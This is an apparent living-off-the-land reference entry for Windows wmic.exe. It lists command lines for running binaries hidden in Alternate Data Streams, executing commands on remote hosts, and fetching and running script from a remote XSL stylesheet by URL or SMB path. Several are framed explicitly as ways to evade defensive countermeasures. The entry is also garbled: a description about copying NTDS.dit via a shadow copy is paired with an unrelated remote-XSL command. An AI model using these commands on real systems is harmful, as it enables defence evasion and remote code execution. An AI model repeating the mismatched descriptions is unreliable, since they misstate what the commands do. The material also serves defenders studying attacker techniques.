Wmic.exe

The WMI command-line (WMIC) utility provides a command-line interface for WMI

Paths

  • C:\Windows\System32\wbem\wmic.exe
  • C:\Windows\SysWOW64\wbem\wmic.exe

Commands

ADS

Execute a .EXE file stored as an Alternate Data Stream (ADS)

Use case: Execute binary file hidden in Alternate data streams to evade defensive counter measures

Privileges: User

wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"

Execute

Execute calc from wmic

Use case: Execute binary from wmic to evade defensive counter measures

Privileges: User

wmic.exe process call create "{CMD}"

Execute

Execute evil.exe on the remote system.

Use case: Execute binary on a remote system

Privileges: User

wmic.exe /node:"192.168.0.1" process call create "{CMD}"

Execute

Create a volume shadow copy of NTDS.dit that can be copied.

Use case: Execute binary on remote system

Privileges: User

wmic.exe process get brief /format:"{REMOTEURL:.xsl}"

Execute

Executes JScript or VBScript embedded in the target remote XSL stylsheet.

Use case: Execute script from remote system

Privileges: User

wmic.exe process get brief /format:"{PATH_SMB:.xsl}"

Copy

Copy file from source to destination.

Use case: Copy file.

Privileges: User

wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"

Detection

Resources